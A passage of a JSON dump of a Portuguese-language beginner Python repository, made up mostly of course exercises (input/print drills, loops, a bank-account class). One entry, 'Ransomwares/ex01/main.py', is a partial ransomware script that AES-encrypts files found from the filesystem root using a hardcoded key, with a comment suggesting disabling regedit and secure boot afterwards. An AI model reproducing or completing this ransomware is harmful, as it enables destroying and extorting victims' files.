\"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\ndia = int(input(\\\"Digite o dia do seu nascimento: \\\"))\\nmes = str(input(\\\"Digite o mês de nascimento: \\\"))\\nano = int(input(\\\"Digite o ano do seu nascimento: \\\"))\\n\\nprint(f'Você nasceu no dia {dia} de {mes} de {ano}. correto?')\\n\"\n },\n {\n \"alpha_fraction\": 0.6201550364494324,\n \"alphanum_fraction\": 0.6294573545455933,\n \"avg_line_length\": 34.88888931274414,\n \"blob_id\": \"6aad57c3bd77b77379fd278fb08d7ed60b482d93\",\n \"content_id\": \"5236badfdc9da856a9967c5fd231f4daaac2c477\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 645,\n \"license_type\": \"permissive\",\n \"max_line_length\": 93,\n \"num_lines\": 18,\n \"path\": \"/Curso-Em-Video/M3/ex93.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"jogador = dict()\\npartidas = list()\\njogador['Nome'] = str(input('Nome do jogador: '))\\njogador['gols'] = []\\nqtd_p = int(input(f'Quantas partidas {jogador[\\\"Nome\\\"]} jogou?'))\\nfor i in range(qtd_p):\\n jogador['gols'].append(int(input(f'Quantos gols {jogador[\\\"Nome\\\"]} fez na partida {i}?')))\\njogador['Total'] = sum(jogador['gols'])\\nprint('=-'*30)\\nprint(jogador)\\nprint('=-'*30)\\nfor k,v in jogador.items():\\n print(f'O campo {k} tem o valor {v}')\\nprint('-='*30)\\nprint(f'O jogador {jogador[\\\"Nome\\\"]} jogou {qtd_p}')\\nfor i,v in enumerate(jogador[\\\"gols\\\"]):\\n print(f' =>Na partida {i}, fez {v} gols')\\nprint(f'Foi um total de {jogador[\\\"Total\\\"]} gols')\"\n },\n {\n \"alpha_fraction\": 0.45086705684661865,\n \"alphanum_fraction\": 0.48554912209510803,\n \"avg_line_length\": 23.714284896850586,\n \"blob_id\": \"31b8ddad46c7b22c6091f0aa61ad6cb8c66924ac\",\n \"content_id\": \"3a5950d9697c8293f870a41a3f18cd11e7282600\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 175,\n \"license_type\": \"permissive\",\n \"max_line_length\": 43,\n \"num_lines\": 7,\n \"path\": \"/Curso-Em-Video/M2/ex50.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\ns = 0\\nfor i in range(0,7):\\n n = int(input('Digite um número: '))\\n if n % 2 != 0:\\n s += n\\nprint(f'A soma de todos os impares é: {s}')\\n\"\n },\n {\n \"alpha_fraction\": 0.46268656849861145,\n \"alphanum_fraction\": 0.49253731966018677,\n \"avg_line_length\": 21.33333396911621,\n \"blob_id\": \"e7964edc9743eb5fb1400fc5a9462917a95251cd\",\n \"content_id\": \"2ea5273282d352580145f321119c365045036fc4\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 134,\n \"license_type\": \"permissive\",\n \"max_line_length\": 36,\n \"num_lines\": 6,\n \"path\": \"/Curso-Em-Video/M2/ex49.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nn = int(input('Digite um numero: '))\\n\\nfor i in range(0,11):\\n mult = i * n\\n print(f'{n} X {i} = {mult}')\\n\"\n },\n {\n \"alpha_fraction\": 0.5352112650871277,\n \"alphanum_fraction\": 0.591549277305603,\n \"avg_line_length\": 27.399999618530273,\n \"blob_id\": \"0603fe73b73d25cbfbdf7b652047d68c3e04e675\",\n \"content_id\": \"b9b9fddea7bf0ee3056f22da1375d7444dfe9f8b\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 142,\n \"license_type\": \"permissive\",\n \"max_line_length\": 49,\n \"num_lines\": 5,\n \"path\": \"/Curso-Em-Video/M1/ex08.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nx = int(input(\\\"Digite o valor em metros: \\\"))\\ncm = x*100\\nmm = x*1000\\nprint(f'O valor {x}m equivale a {cm}cm e {mm}mm')\\n\"\n },\n {\n \"alpha_fraction\": 0.6764705777168274,\n \"alphanum_fraction\": 0.6801470518112183,\n \"avg_line_length\": 37.71428680419922,\n \"blob_id\": \"57ea8070b172288686ebcaedd00f950c1232d50d\",\n \"content_id\": \"a7c977f7d3b8b92b2ef35533ac44e055b3b27960\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 278,\n \"license_type\": \"permissive\",\n \"max_line_length\": 80,\n \"num_lines\": 7,\n \"path\": \"/Curso-Em-Video/M1/tiposPrimitivos.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nn = input(\\\"Digite um numero: \\\")\\n\\\"\\\"\\\"* A função isnumeric() verifica se a variavel representa um valor númerico e \\n retorna uma resposta booleana\\n * A função isalpha() verifica se a variavei é uma letra ou uma string \\n\\\"\\\"\\\"\\nprint(n.isnumeric())\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6379593014717102,\n \"alphanum_fraction\": 0.6553477644920349,\n \"avg_line_length\": 47.00787353515625,\n \"blob_id\": \"c5cba01f17ba258364d7f408cfc7de59db877afb\",\n \"content_id\": \"9dfbb4b127dc97928ec1c4aa2594a74e6e86b659\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 6136,\n \"license_type\": \"permissive\",\n \"max_line_length\": 137,\n \"num_lines\": 127,\n \"path\": \"/Paradigmas_Program/aula02.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\" CEUB - Ciência da Computação - Prof. Barbosa\\nAtalho de teclado: ctlr <d>, duplica linha. ctrl <y>, apaga linha. ctrl </>, comenta linha\\n\\n- Valor default\\nQuando declaramos as variáveis na classe Conta, aprendemos que podemos atribuir um valor padrão\\npara cada uma delas. Então, atribuo um valor padrão ao limite, por exemplo, 1000.0 reais.\\n\\n- Agregação\\nAumente a classe Conta, adicione os atributos nome, sobrenome e cpf do titular da conta.\\nDesvantagem:\\nFicamos como muitos atributos e uma Conta não tem os atributos nome, sobrenome e cpf,\\nMas, esses atributos são de Cliente e não da Conta\\nAssim, criamos uma nova classe e fazemos uma agregação, ou seja,\\nagregar um cliente a conta.\\nPortanto, a classe Conta tem um Cliente.\\nOs atributos de uma Conta também podem ser referência (objeto) para outra classe.\\n\\n- Implemente:\\n1- Crie a classe Cliente com os atributos nome, sobrenome e cpf.\\n- Crie os métodos gets e sets.\\n- Crie um objeto da classe Cliente, teste.\\n- Crie o método nome_completo\\n5- Em Conta, altere o atributo nome_cliente (string) para cliente, ele vai receber um objeto cliente.\\n- Crie um objeto da classe Conta usando o objeto cliente criado\\n- Mostre o endereço do objeto cliente criado\\n- Mostre o endereço do objeto conta criado\\n- Mostre o endereço do objeto cliente criado, usando o objeto conta.\\n10- Mostre o nome, sobrenome e cpf usando o objeto cliente\\n- Altere o nome do objeto cliente, teste.\\n- Mostre o nome, sobrenome e cpf usando o objeto conta.\\n- Altere o nome do objeto cliente usando o objeto conta, teste.\\n- Consulte o extrato com os dados: número e saldo da conta\\n15- Consulte o extrato com os dados: nome, sobrenome, cpf, número e saldo da conta\\n- Mostre todos os dados do atributo titular da classe Conta\\n- Use o método __class__ no objeto cliente\\n- Use o método __class__.__name__ no objeto cliente\\n- Mostre os atributos do objeto cliente com o método __dict__\\n- Mostre os atributos do objeto cliente com o método vars \\\"\\\"\\\"\\nclass Cliente(object): # class Cliente:\\n def __init__(self, nome, sobrenome, cpf):\\n self.nome = nome\\n self.sobrenome = sobrenome\\n self.cpf = cpf\\n def get_nome(self):\\n return self.nome\\n def set_nome(self, novo_nome):\\n self.nome = novo_nome\\n def get_sobrenome(self):\\n return self.sobrenome\\n def get_cpf(self):\\n return self.cpf\\n def nome_completo(self):\\n nc = f'{self.nome} {self.sobrenome}'\\n return nc\\nclass Conta: # class Conta(object):\\n def __init__(self, numero, cliente, saldo, limite=1000.0): # O parãmetro cliente recebe um objeto da classe Cliente\\n self.numero = numero\\n self.titular = cliente # O atributo self.titular recebe o endereço do objeto cliente1\\n self.saldo = saldo\\n self.limite = limite\\n def get_titular(self):\\n return self.titular\\n def get_titular_nome(self): # Consulta nome do cliente\\n return self.titular.nome\\n def set_titular_nome(self, novo_nome): # Altera nome\\n self.titular.nome = novo_nome\\n def get_titular_sobrenome(self):\\n return self.titular.sobrenome\\n def get_titular_cpf(self):\\n return self.titular.cpf\\n def get_saldo(self):\\n return self.saldo\\n def extrato(self):\\n print(f\\\"Extrato 1:\\\\nNúmero: {self.numero}, Saldo: {self.saldo}\\\")\\n # print(\\\"Extrato 1:\\\\nNúmero: {}, Saldo: {}\\\".format(self.numero, self.saldo))\\n def extrato_2(self):\\n print(f'Extrato 2:\\\\nNome: {self.titular.nome} {self.titular.sobrenome}, CPF: {self.titular.cpf}')\\n print(\\\"Número: {}, Saldo: {}\\\".format(self.numero, self.saldo))\\n def dados_titular(self):\\n return self.titular.__dict__\\n def deposito(self, valor):\\n self.saldo += valor\\n def saque(self, valor):\\n if self.saldo + self.limite < valor:\\n print('Saldo insuficiente.')\\n return False\\n else:\\n self.saldo -= valor\\n print('Saque realizado.')\\n return True\\n def transfere_para(self, destino, valor):\\n retirou = self.saque(valor)\\n if not retirou: # if retirou == False:\\n print('Transferência não realizada')\\n return False\\n else:\\n destino.deposito(valor)\\n print('Transferência realizada com sucesso')\\n return True\\n\\nif __name__ == '__main__': # mai <tab>\\n cliente1 = Cliente('João', 'Oliveira', '1111111111-1') # Cria objeto da classe Cliente\\n print('Nome:', cliente1.get_nome())\\n conta1 = Conta('123-4', cliente1, 1200.0, 1000.0) # Cria objeto da classe Conta usando o objeto da classe Cliente\\n print(cliente1) # <conta_agregacao.Cliente object at 0x000002B9DBA4AFD0>, o endereço do objeto cliente1\\n print(conta1) # <conta_agregacao.Conta object at 0x000002B9DBA4AF70>\\n print(conta1.get_titular()) # <conta_agregacao.Cliente object at 0x000002B9DBA4AFD0>, o endereço do atributo titular da classe Conta\\n print('Nome:', cliente1.get_nome()) # Consulta usando a classe Cliente\\n print('Sobrenome:', cliente1.get_sobrenome())\\n print('CPF:', cliente1.get_cpf())\\n cliente1.set_nome('Ana') # Altera o nome usando a classe Cliente\\n print('Nome:', cliente1.get_nome())\\n print('Nome completo:', cliente1.nome_completo())\\n print('Nome:', conta1.get_titular_nome()) # Consulta usando a classe Conta\\n print('Sobrenome:', conta1.get_titular_sobrenome())\\n print('CPF:', conta1.get_titular_cpf())\\n conta1.set_titular_nome('Alice') # Altera o nome usando a classe Conta\\n print('Nome:', conta1.get_titular_nome())\\n conta1.extrato()\\n conta1.extrato_2()\\n print('conta1.dados_titular():', conta1.dados_titular())\\n print(conta1.get_titular()) # Retorna o endereço\\n print('special method or dunder:')\\n print(cliente1.__class__)\\n print(cliente1.__class__.__name__)\\n print(cliente1.__dict__) # Métodos semelhantes\\n print(vars(cliente1))\"\n },\n {\n \"alpha_fraction\": 0.5135135054588318,\n \"alphanum_fraction\": 0.5405405163764954,\n \"avg_line_length\": 23.130434036254883,\n \"blob_id\": \"97eeed42f08cf300165f5328cbfa53e2c236c1d8\",\n \"content_id\": \"9650e0cd5e6a2a829a0e84cdb5c23449a925d70d\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 564,\n \"license_type\": \"permissive\",\n \"max_line_length\": 61,\n \"num_lines\": 23,\n \"path\": \"/Curso-Em-Video/M3/ex78.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nn1 = []\\nmaior = 0\\nmenor = 999999\\nfor num in range(0,5):\\n n = int(input(f'Digite um valor para a posição {num}: '))\\n n1.append(n)\\n if n > maior:\\n maior = n\\n if n < menor:\\n menor = n\\n\\nprint(f' Você digitou: {n1}')\\nprint(f' O maior número foi: {maior} nas posições ',end='')\\nfor i, v in enumerate(n1):\\n if v == maior:\\n print(f'{i}...',end='')\\nprint()\\nprint( f' O menor número foi: {menor} nas posições ',end='')\\nfor i, v in enumerate(n1):\\n if v == menor:\\n print(f'{i}...',end='')\\nprint()\\n\"\n },\n {\n \"alpha_fraction\": 0.616487443447113,\n \"alphanum_fraction\": 0.6487455368041992,\n \"avg_line_length\": 30.05555534362793,\n \"blob_id\": \"da1ddb4f5be4173a40c3caa7ff0c2d5aea51c330\",\n \"content_id\": \"7ac75d98a45dede516612b63361b12d93bfabf89\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 561,\n \"license_type\": \"permissive\",\n \"max_line_length\": 132,\n \"num_lines\": 18,\n \"path\": \"/Curso-Em-Video/M3/ex91.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from random import randint\\nfrom time import sleep\\nfrom operator import itemgetter\\njogo = {'Jogador1': randint(1,6),\\n 'Jogador2': randint(1,6),\\n 'Jogador3': randint(1,6),\\n 'Jogador4': randint(1,6)}\\nrankng = []\\n\\nprint('Valores sorteados:')\\nfor k, v in jogo.items():\\n print(f'{k} tirou {v} no dado.')\\n sleep(1)\\nrankng = sorted(jogo.items(), key=itemgetter(1), reverse=True)# usa a função itemgeter para pegar os valores das chavers e ordenalos\\n\\nfor i, v in enumerate(rankng):\\n print(f'{i+1}º Lugar: {v[0]} com {v[1]}')\\n sleep(1)\"\n },\n {\n \"alpha_fraction\": 0.5796610116958618,\n \"alphanum_fraction\": 0.5864406824111938,\n \"avg_line_length\": 20.14285659790039,\n \"blob_id\": \"bc54b95eb210958498e8cb556b047f98ed51c156\",\n \"content_id\": \"83b20f33d5ed02859bd84d2888b70a13c97e5af2\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 296,\n \"license_type\": \"permissive\",\n \"max_line_length\": 60,\n \"num_lines\": 14,\n \"path\": \"/Curso-Em-Video/M3/ex103.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def ficha(name='<Desconhecido>',ng=0):\\n print(f'O jogador {name} fez {ng} gol(s) no campeonato')\\n\\n\\nn = str(input('Digite o nome do jogador: '))\\ng = str(input('Digite o número de gols: '))\\nif g.isnumeric():\\n g = int(g)\\nelse:\\n g = 0\\nif n.strip() =='':\\n ficha(ng=g)\\nelse:\\n ficha(n,g)\"\n },\n {\n \"alpha_fraction\": 0.5839999914169312,\n \"alphanum_fraction\": 0.6259999871253967,\n \"avg_line_length\": 26.77777862548828,\n \"blob_id\": \"d5d4816bb5c17e27dbd972807ce8871e24f1e28e\",\n \"content_id\": \"db68960733394e037dabc5d054061adb23440f55\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 511,\n \"license_type\": \"permissive\",\n \"max_line_length\": 44,\n \"num_lines\": 18,\n \"path\": \"/Curso-Em-Video/M2/ex43.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nfrom math import pow\\naltu = float(input('Digite a sua altura: '))\\npeso = float(input('Digite o seu peso: '))\\nimc =(peso/pow(altu,2))\\n\\nprint(f'seu IMC é {imc:.2f}')\\n\\nif imc < 18.5:\\n print('Você está abaixo do peso!')\\nelif imc > 18.5 and imc<26:\\n print('Você está no peso ideal!')\\nelif imc > 25 and imc < 31:\\n print('Você está com sobre peso!')\\nelif imc > 30 and imc < 41:\\n print('Você está com obesidade!')\\nelif imc > 40:\\n print('Você está com obes morbida!!!')\\n\"\n },\n {\n \"alpha_fraction\": 0.6119999885559082,\n \"alphanum_fraction\": 0.6480000019073486,\n \"avg_line_length\": 21.727272033691406,\n \"blob_id\": \"7e954ca620d83faedb8f0b081d9480825fedf73c\",\n \"content_id\": \"73221ce609b8168e50c00ad39ed28d11c4433725\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 250,\n \"license_type\": \"permissive\",\n \"max_line_length\": 34,\n \"num_lines\": 11,\n \"path\": \"/Curso-Em-Video/M1/ex20.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nimport random\\n\\nn1 =str(input('Primeiro aluno: '))\\nn2 =str(input('Segundo aluno: '))\\nn3 =str(input('Terceiro aluno: '))\\nn4 =str(input('Quarto aluno: '))\\n\\nlista = [n1,n2,n3,n4]\\nrandom.shuffle(lista)\\nprint(f'Nova ordem:{lista}')\\n\"\n },\n {\n \"alpha_fraction\": 0.5744680762290955,\n \"alphanum_fraction\": 0.6000000238418579,\n \"avg_line_length\": 25.11111068725586,\n \"blob_id\": \"d2136706d0de8929672434c57cb9057a680f173c\",\n \"content_id\": \"be767d39d76f4940acc397c953f19465dfbb59e0\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 238,\n \"license_type\": \"permissive\",\n \"max_line_length\": 62,\n \"num_lines\": 9,\n \"path\": \"/Curso-Em-Video/M3/ex96.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def controle(x,y):\\n c = x * y\\n print(f'A área de um terreno {x:.1f}X{y:.1f} é {c:.1f}m²')\\n\\nprint('Controle de Terrenos')\\nprint('-'*30)\\nlar = float(input('LARGURA (m): '))\\ncon = float(input('COMPRIMENTO (m): '))\\ncontrole(lar,con)\\n\"\n },\n {\n \"alpha_fraction\": 0.5932835936546326,\n \"alphanum_fraction\": 0.6194030046463013,\n \"avg_line_length\": 28.83333396911621,\n \"blob_id\": \"e01fccdb2268fb2043b032481c8dc4b15e95ca8c\",\n \"content_id\": \"ddf735b1e831f96eea9a66ebb7d16e5170950922\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 539,\n \"license_type\": \"permissive\",\n \"max_line_length\": 85,\n \"num_lines\": 18,\n \"path\": \"/Curso-Em-Video/M3/ex101.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from datetime import datetime\\ndef voto_calc(idade):\\n voto = ''\\n if idade >16 and idade <18 or idade > 70:\\n voto = 'VOTO NÂO OBRIGATORIO!'\\n elif idade < 70 and idade > 18:\\n voto = 'VOTO OBRIGATÓRIO!'\\n elif idade < 16:\\n voto = 'NÂO VOTA!'\\n return voto\\n\\ndef calc_idade(nasc):\\n now = datetime.now().year\\n idade = now - nasc\\n return idade\\nprint('~'*30)\\nano_nasc = int(input('Digite o seu ano de nascimento: '))\\nprint(f'Com {calc_idade(ano_nasc)} anos de idade: {voto_calc(calc_idade(ano_nasc))}')\"\n },\n {\n \"alpha_fraction\": 0.5501222610473633,\n \"alphanum_fraction\": 0.5721271634101868,\n \"avg_line_length\": 24.5625,\n \"blob_id\": \"446a03630d024818f5b9234549f04ab7fe49aa43\",\n \"content_id\": \"f60bdd70ff9ea1ec56611627675e075dbaa67d96\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 410,\n \"license_type\": \"permissive\",\n \"max_line_length\": 66,\n \"num_lines\": 16,\n \"path\": \"/Curso-Em-Video/M2/ex62.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\na1 =int(input('Digite o primeiro termo da PA: '))\\nr =int(input('Digite a razão: '))\\ntermo = a1\\ncont = 1\\ntotal =0\\nmais = 10\\nwhile mais != 0:\\n total = total + mais\\n while cont<= total:\\n print(f'{termo} => ', end=' ')\\n termo += r\\n cont +=1\\n mais = int(input('\\\\nDeseja mostrar quantos termos a mais? '))\\nprint(f'Total de termos usados {total}')\\nprint('fim')\\n\"\n },\n {\n \"alpha_fraction\": 0.5854341983795166,\n \"alphanum_fraction\": 0.6218487620353699,\n \"avg_line_length\": 22.799999237060547,\n \"blob_id\": \"130ef56bd37b771d910f53a95883760d1719ab73\",\n \"content_id\": \"d54e412f07ca38ff1b69caeeef135fbb618f21ee\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 357,\n \"license_type\": \"permissive\",\n \"max_line_length\": 48,\n \"num_lines\": 15,\n \"path\": \"/Curso-Em-Video/M2/ex41.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nidade = int(input('Digite a idade do atleta: '))\\n\\nif idade <= 9:\\n print('Atleta mirim')\\nelif idade > 9 and idade < 14:\\n print('Atleta infantil')\\nelif idade > 14 and idade < 19:\\n print('Atleta junior')\\nelif idade ==20:\\n print('Atleta senior')\\nelif idade > 20:\\n print('Atleta master')\\nelse:\\n print('Idade invalida!')\\n\"\n },\n {\n \"alpha_fraction\": 0.6491228342056274,\n \"alphanum_fraction\": 0.6608186960220337,\n \"avg_line_length\": 23.428571701049805,\n \"blob_id\": \"859e0b23bfdc335c195030242a65a071875563d1\",\n \"content_id\": \"be8bcbfb746eab13cf38a1bca8cfb6bd07278c2a\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 171,\n \"license_type\": \"permissive\",\n \"max_line_length\": 47,\n \"num_lines\": 7,\n \"path\": \"/Curso-Em-Video/M1/ex22.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nnome = str(input('Digite seu nome completo: '))\\nprint(nome.upper())\\nprint(nome.lower())\\nprint(len(nome))\\nsepara=nome.split()\\nprint(len(separa[0]))\\n\"\n },\n {\n \"alpha_fraction\": 0.6192411780357361,\n \"alphanum_fraction\": 0.6537940502166748,\n \"avg_line_length\": 24.44827651977539,\n \"blob_id\": \"794b89eb89dc6b644b325ecb71ae75081c35208d\",\n \"content_id\": \"da839f1fdbd7d9db8aa9250b95408597e8e6c543\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1480,\n \"license_type\": \"permissive\",\n \"max_line_length\": 113,\n \"num_lines\": 58,\n \"path\": \"/Ransomwares/ex01/main.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/python3.7\\n#-8- coding: utf-8 -*-\\nfrom Crypto.Cipher import AES\\nfrom Crypto.Util import Counter\\nimport argparse\\nimport os\\nimport discovery\\nimport crypter\\n\\n# A senha pode ter os seguintes tamanhos :\\n# 128/192/256 bits - \\nHARDCODE_KEY = '10101010101010101010101010101010'\\n\\ndef get_parser():\\n parser = argparse.ArgumentParser(description=\\\"hackwareCrypter\\\")\\n\\n parser.add_argument('-d', '--decrypt', help='decripta os arquivos [default: no]', action='store_true')\\n\\n return parser\\n\\ndef main():\\n parser = get_parser()\\n\\n args= vars(parser.parse_args())\\n decrypt = args['decrypt']\\n\\n if decrypt:\\n print('Seus arquivos foram criptografados {}'.format(HARDCODE_KEY))\\n key = input('Digite a sua senha> ')\\n else:\\n if HARDCODE_KEY:\\n key = HARDCODE_KEY\\n\\n\\n ctr = Counter.new(128)\\n crypt = AES.new(key, AES.MODE_CTR, counter=ctr)\\n\\n if not decrypt:\\n crytoFn = crypt.encrypt\\n else:\\n crytoFn = crypt.decrypt\\n\\n init_path = os.path.abspath(os.path.join(os.getcwd(), 'files'))\\n startDirs = [/]\\n\\n for currentDir in startDirs:\\n for filename in discovery.discover(currentDir):\\n crypter.change_files(filename, crytoFn)\\n\\n# Limpa a chave de ciptografia da memoria\\n for _ in range(100):\\n pass\\n\\n if not decrypt:\\n pass\\n# Após a encriptação, você pode alterar o wallpaper, os icones, deativoa o regedit, admins, bios secure boot, etc\\nif __name__ =='__main__':\\n main()\\n\"\n },\n {\n \"alpha_fraction\": 0.7767935991287231,\n \"alphanum_fraction\": 0.7812223434448242,\n \"avg_line_length\": 50.3636360168457,\n \"blob_id\": \"8424be26b7014bc0ba8954238fe572a2651f9805\",\n \"content_id\": \"2f264de5510aa8ac34b5500481b46b742b4211d7\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1196,\n \"license_type\": \"permissive\",\n \"max_line_length\": 121,\n \"num_lines\": 22,\n \"path\": \"/curso_monitoria/continue.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#Continue\\n'''\\nA instrução break e a instrução continue são ferramentas das estruturas de repetição permitindo a interrupção de um único\\n ciclo ou do laço de repetição. É importante saber distinguir ambas instruções, por exemplo, a instrução break interrompe\\n não somente o ciclo em execução, mas sim, todo o laço, enquanto que a instrução continue finaliza um único laço, fazendo\\n com que o Cursor de execução vá para o cabeçalho da estrutura de repetição.\\n\\nEntão, nunca é demais repetir que instrução contine interrompe somente o ciclo que está sendo executado fazendo com que\\no cursor de execução retorne ao cabeçalho da estrutura de repetição para dar início a execução do ciclo seguinte.\\n\\nCaso não conheças a instrução break para a interrupção de laços, é interessante que o faça! E também, se houver dúvidas\\nsobre as estrutruras de repetição, estude a aula em que tratamos sobre as mesmas.\\n\\nNo código abaixo construimos um simples exemplo com o único propósito de demonstrar a interrupção da execução de um único\\nciclo com a instruçao continue.\\n'''\\nx = 0\\nwhile(x <= 10):\\n x+=1\\n if(x % 2):\\n continue\\n print(x)\"\n },\n {\n \"alpha_fraction\": 0.582524299621582,\n \"alphanum_fraction\": 0.5873786211013794,\n \"avg_line_length\": 28.428571701049805,\n \"blob_id\": \"7587dad095018a28a56c376a789a0e2dc487d693\",\n \"content_id\": \"8cd873e4816ea9dbdb8aa367451e6daa45894a79\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 213,\n \"license_type\": \"permissive\",\n \"max_line_length\": 79,\n \"num_lines\": 7,\n \"path\": \"/Curso-Em-Video/M1/condicoes.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\n\\\"\\\"\\\"\\n * if <condição>:\\n ->se a condição for atendida o bloco sera execultado.\\n *else:\\n -> caso a condição não seja atendida se executa o bloco abaixo de else.\\n\\\"\\\"\\\"\\n\"\n },\n {\n \"alpha_fraction\": 0.5268022418022156,\n \"alphanum_fraction\": 0.5471349358558655,\n \"avg_line_length\": 20.600000381469727,\n \"blob_id\": \"8adecb824b4dfb2e40089f19c5f56cb658e9ebfd\",\n \"content_id\": \"16247491cd1107c5316053fd789d113e5ff30ac7\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 543,\n \"license_type\": \"permissive\",\n \"max_line_length\": 52,\n \"num_lines\": 25,\n \"path\": \"/Curso-Em-Video/M3/ex88.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nfrom random import randint\\nfrom time import sleep\\nlis = list()\\ncont = 0\\ngames = []\\namg = int(input('Quantos jogos você deseja fazer?'))\\ntot = 0\\nwhile tot <= amg:\\n cont = 0\\n while True:\\n num = randint(1,60)\\n if num not in lis:\\n lis.append(num)\\n cont +=1\\n if cont>=6:\\n break\\n lis.sort()\\n games.append(lis[:])\\n lis.clear()\\n tot +=1\\nprint(f'Os números sorteados foram: {lis}')\\nfor i, l in enumerate(games):\\n print(f'games {i}:{l}')\\n sleep(1)\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5677680373191833,\n \"alphanum_fraction\": 0.5758597254753113,\n \"avg_line_length\": 43.93939208984375,\n \"blob_id\": \"712f818f6a0c52efee1996afd7152d91fcb674ba\",\n \"content_id\": \"da9f0feba6e84fa26313759dcbbecd80a117b0bf\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1495,\n \"license_type\": \"permissive\",\n \"max_line_length\": 98,\n \"num_lines\": 33,\n \"path\": 